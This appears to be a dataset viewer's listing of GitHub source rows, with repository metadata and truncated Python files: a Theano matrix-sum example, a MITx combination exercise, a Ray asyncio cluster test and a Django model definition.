21a700bb20d695f0545a44e8ea56ccd2d5c1ecbd | d82ac08e029a340da546e6cfaf795519aca37177 | /chapter_13_parallel_nn_training_theano/02_array_structures.py | 041b18247a74fa59fe0cfc17db87096150e8cf80 | [] | no_license | CSwithJC/PythonMachineLearning | 4409303c3f4d4177dc509c83e240d7a589b144a0 | 0c4508861e182a8eeacd4645fb93b51b698ece0f | refs/heads/master | 2021-09-04T04:28:14.608662 | 2018-01-15T20:25:36 | 2018-01-15T20:25:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 566 | py | import theano
import numpy as np
from theano import tensor as T
# Config Theano to use 32-bit architecture:
theano.config.floatX = 'float32'
#theano.config.device = 'gpu'
# initialize
x = T.fmatrix(name='x')
x_sum = T.sum(x, axis=0)
# compile
calc_sum = theano.function(inputs=[x], outputs=x_sum)
# execute (Python L... | [
"jean.mendez2@upr.edu"
] | jean.mendez2@upr.edu |
bd82d3e98d1a67cc87a28e599370a8b6475b91ae | 3467fe90c6c49b4ac86785d1da19d7183b2ac0f5 | /6002x/findCombination.py | 85d683714d531ae692f4b2fa142f7782b706f04d | [
"MIT"
] | permissive | CarlosEduardoAS/MITx | 277da453638da672c9946513bfb7a86e7446072b | 532695d69c77581b6df80c145283b349b75e4973 | refs/heads/main | 2023-05-02T13:50:15.283211 | 2021-05-25T20:02:48 | 2021-05-25T20:02:48 | 351,555,645 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,219 | py | # -*- coding: utf-8 -*-
"""
Created on Tue May 25 16:10:53 2021
@author: caear
"""
import numpy
import itertools
def find_combination(choices, total):
"""
choices: a non-empty list of ints
total: a positive int
Returns result, a numpy.array of length len(choices)
such that
* each eleme... | [
"79329559+CarlosEduardoAS@users.noreply.github.com"
] | 79329559+CarlosEduardoAS@users.noreply.github.com |
ea385301144e17aa355e09063a6bd7bb66103bb1 | d7faf47825b6f8e5abf9a9587f1e7248c0eed1e2 | /python/ray/tests/test_asyncio_cluster.py | bea440bdf4b27bb1b625ec135c2bbc2bd5dd6d5b | [
"Apache-2.0",
"BSD-3-Clause",
"MIT"
] | permissive | ggdupont/ray | 7d7c7f39a8f99a09199fab60897da9e48b8e2645 | 15391026c19f1cbbb8d412e46b01f7998e42f2b9 | refs/heads/master | 2023-03-12T06:30:11.428319 | 2021-12-07T05:34:27 | 2021-12-07T05:34:27 | 165,058,028 | 0 | 0 | Apache-2.0 | 2023-03-04T08:56:50 | 2019-01-10T12:41:09 | Python | UTF-8 | Python | false | false | 815 | py | # coding: utf-8
import asyncio
import sys
import pytest
import numpy as np
import ray
from ray.cluster_utils import Cluster, cluster_not_supported
@pytest.mark.xfail(cluster_not_supported, reason="cluster not supported")
@pytest.mark.asyncio
async def test_asyncio_cluster_wait():
cluster = Cluster()
head_no... | [
"noreply@github.com"
] | ggdupont.noreply@github.com |
adf942ef17cc289e1c3cf16a609ecac205d03692 | fc314838b18c14a00310f0059d5358c7c4afabd6 | /special/models.py | 6796cb77ef4370af265ada4e6ba8966f501a7cd4 | [
"MIT"
] | permissive | opendream/asip | 5cb4b997fab2438193ae7490c159efced6dc3d91 | 20583aca6393102d425401d55ea32ac6b78be048 | refs/heads/master | 2022-11-28T23:28:18.405604 | 2020-03-10T04:56:23 | 2020-03-10T04:56:23 | 190,504,979 | 1 | 1 | MIT | 2022-11-22T01:10:46 | 2019-06-06T03:06:03 | HTML | UTF-8 | Python | false | false | 1,126 | py | from django.db import models
# Create your models here.
from common.constants import STATUS_PUBLISHED, STATUS_CHOICES
from common.models import AbstractPermalink, CommonTrashModel
import files_widget
class Special(CommonTrashModel, AbstractPermalink):
title = models.CharField(max_length=512)
image = files_wi... | [
"server@set.com"
] | server@set.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.